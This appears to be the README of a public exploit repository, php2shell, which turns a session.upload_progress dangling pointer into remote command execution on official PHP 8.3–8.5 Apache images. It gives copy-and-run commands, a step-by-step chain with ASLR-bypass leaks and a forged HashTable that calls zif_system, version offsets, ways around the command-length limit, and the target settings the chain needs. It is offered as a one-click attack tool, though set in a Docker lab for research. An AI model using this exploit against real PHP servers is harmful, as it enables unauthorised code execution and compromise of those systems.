A single exploit.py turns a dangling pointer left behind by session.upload_progress into full command execution on an unmodified php:8.4.26-apache container. Every byte of attack traffic is an ordinary multipart/form-data POST; the target web root is literally <?php echo "OK\n"; ?>. The chain leaks the Zend MM chunk base and the libphp.so base over two Set-Cookie out-of-bounds reads, then forges a HashTable whose destructor is zif_system:

$ python3 exploit.py -u http://127.0.0.1:8088/index.php
[+] chunk base  = 0x7f3f73600000
[+] libphp base = 0x7f3f752a5000
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

• Highlights
• Requirements
• Quick start
• Reproduction status
• How it works
• Offsets & profiles
• Running arbitrary commands
• Command-line options
• Target configuration
• Repository layout
• Documentation
• Limitations
• Credits
• License

• One command, full chain. exploit.py performs worker rotation, the two-stage leak, zif_system execution and proof retrieval, with per-stage retries.
• Pure HTTP. No session_start() on the target page, no PHP written on the target side, no local signals — only multipart/form-data POSTs.
• ASLR bypassed. Two Set-Cookie out-of-bounds reads recover the chunk and libphp bases at runtime; the terminal stage calls zif_system inside libphp and never touches libc.
• No target build. The environment is the official php:8.4.26-apache image plus a handful of config mounts — there is no docker build.
• Multi-version. The same chain gets reliable RCE on the official 8.3, 8.4 and 8.5 images; the only version-sensitive value is a single chunk-relative offset, picked automatically on localhost.
• Self-calibrating offsets. Against a localhost container the libphp symbol offsets are read straight from libphp.so (and refreshed on every run, so switching images can't leave them stale), so an image refresh needs no manual edit.

The block below goes from zero to RCE. Copy and run it as-is.

git clone https://github.com/3em0/php2shell.git
cd php2shell

# 1) Pull the official image (PHP 8.4.26 / Debian 13 / Apache prefork)
docker compose -f docker/docker-compose.yml pull

# 2) Start the target: single worker, display_errors=On, memory_limit=8M
docker compose -f docker/docker-compose.yml up -d

# 3) Wait for Apache and confirm a normal page
for i in $(seq 1 20); do
  curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
  sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php   # -> OK

# 4) One command completes the whole exploit; the first run reads libphp offsets automatically
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

The default command is id>/out/p1 (10 bytes). The container's /out is bind-mounted to the repository's ./out, so the proof lands directly on the host. On the first run exploit.py invokes docker/offsets.py, which parses zif_system / zval_ptr_dtor out of the container's libphp.so and caches them in out/offsets.env.

Measured live on the official PHP -apache images (all Debian 13 trixie), linux/amd64, using the shipped docker/ lab with PHP_IMAGE pointed at each version:

The libphp symbol offsets are read from each image at runtime, so only the chunk-relative htdata offset is version-specific: 0x690d8 for 8.4/8.5, 0x6a0d8 for 8.3. Point the lab at another version with:

PHP_IMAGE=php:8.5-apache docker compose -f docker/docker-compose.yml up -d --force-recreate
python3 exploit.py -u http://127.0.0.1:8088/index.php   # same command, offsets auto-adjust

Reproduce the whole table yourself with scripts/matrix.sh (each trial recreates the container, so the count is an honest cold-start one-shot rate):

./scripts/matrix.sh -n 3            # default supported images
./scripts/matrix.sh -n 8 php:8.5-apache

The vulnerable surface is session initialization triggered by session.upload_progress before RINIT, combined with a dangling pointer that survives across requests after an out-of-memory bailout. The entire attack is ordinary multipart HTTP.

The stage-3 destructor chain:

php_session_track_init()
  zval_ptr_dtor(PS(http_session_vars))
    zend_reference_destroy(R0)
      zval_ptr_dtor(&ref->val)          # IS_ARRAY_EX
        zend_array_destroy(fake HT)
          zend_hash_destroy(fake HT)
            pDestructor(&bucket->val)   # zif_system

Why it works, in short:

• No session_start() needed — A/B session init happens in the multipart callbacks before RINIT (FILE_START → php_session_rfc1867_update; END → php_session_rfc1867_cleanup), independent of script content.
• Why the pointer dangles — the OOM bailout inside php_session_initialize() never clears PS(http_session_vars) / PS(id); the next request's php_session_track_init() calls zval_ptr_dtor on it.
• Why reoccupation works — multipart field values are allocated as zend_strings during parsing; the 56 B / 55 B / 167 B sizes line up exactly to cover the stale reference and carry the fake HashTable.
• Why ASLR falls — the two out-of-bounds reads leak both bases; workers are swapped via pure-HTTP abort/fork while the address space is unchanged; the terminal stage avoids libc.

Full mechanism, gdb evidence and request calibration live in docs/.

All version-specific values are collected in a single typed Profile table in exploit.py. zif_offset / dtor_offset are libphp.so symbol offsets and htdata_offset is a Zend MM chunk-relative offset — all relative to a module/chunk base, so none of them depend on ASLR. The stage* fields groom the heap and differ per build.

Offset resolution precedence (highest first):

1. CLI — --zif-offset / --dtor-offset / --htdata-offset.
2. Offsets file — out/offsets.env, written by docker/offsets.py for a localhost container (libphp offsets only; refreshed on every localhost run so it can never go stale).
3. Profile defaults — the measured values in the table above.

Two conveniences make multi-version use zero-config:

• Version-aware htdata. On a localhost container the exploit reads the PHP minor version and, on the default profile, automatically uses the official83 htdata for 8.3 — so the same command fits 8.3 / 8.4 / 8.5 with no flags.
• Own libphp defaults per profile. Each profile carries its own correct libphp defaults, so it also works against a remote target of that build out of the box, even when docker/offsets.py cannot run (it only reaches a localhost container).

Switch profile with --profile official83 / --profile lab; disable auto-derivation with --offsets-file '' --no-auto-offsets.

The command is embedded in a live 167-byte zend_string, so the hard limit is 14 bytes. For anything longer, drop a script into the mounted directory and trigger it with a short shell command (sh</out/c is 8 bytes):

printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'

The shipped lab mirrors the settings the chain depends on (docker/php.ini, docker/apache.conf):

php2shell/
├── exploit.py              # one-click exploit (worker rotation → leak → RCE)
├── docker/
│   ├── docker-compose.yml  # official php:8.4.26-apache, single-worker prefork
│   ├── apache.conf         # prefork: StartServers=MaxRequestWorkers=1
│   ├── php.ini             # display_errors=On, memory_limit=8M, upload_progress
│   ├── offsets.py          # parse zif_system / zval_ptr_dtor from libphp.so
│   └── www/index.php       # the entire target: <?php echo "OK\n"; ?>
├── out/                    # proof files and out/offsets.env land here
├── scripts/matrix.sh       # run the exploit across PHP versions, report reliability
└── docs/                   # mechanism write-ups and gdb evidence

• The current RCE requires display_errors=1, memory_limit=8M, max_input_vars=1000, session.use_cookies=1, session.use_strict_mode=0 and single-worker prefork.
• Reliable RCE is verified on PHP 8.3 / 8.4 / 8.5 (official -apache images, linux/amd64). Other point releases of the same minor are expected to work (libphp offsets auto-derive), but are not individually tested.
• PHP 8.1 / 8.2 are not affected by this chain. On php:8.1-apache and php:8.2-apache the stage-1 Set-Cookie over-read never engages — B returns a clean 32-byte session id regardless of the forged-zend_string field size (swept 55–167 B) — so the chain recovers no leak and stops before stage 2. The primitive is effective on PHP 8.3 – 8.5 (tested); the boundary sits at 8.3, and 8.1/8.2 would need a different stage-1 primitive, if one exists on those versions.
• A pure-HTTP heap leak works with display_errors=0; the complete RCE for that configuration is not included here (see docs/DISPLAY_ERRORS_OFF.md).
• The offsets are x86-64; a different architecture or a rebuilt libphp.so shifts them (use docker/offsets.py or the --*-offset flags).

Original vulnerability research and proof of concept by @9bie. This repository reproduces that work in a self-contained Docker lab, restructures the per-profile offsets into one typed table, extends the chain to reliable RCE on PHP 8.3 / 8.4 / 8.5 with runtime offset auto-derivation and version-aware htdata selection, and fixes the out/ permission handling so the official-image flow calibrates cleanly from a cold start.

Released under the MIT License. Provided for authorized security research and education only.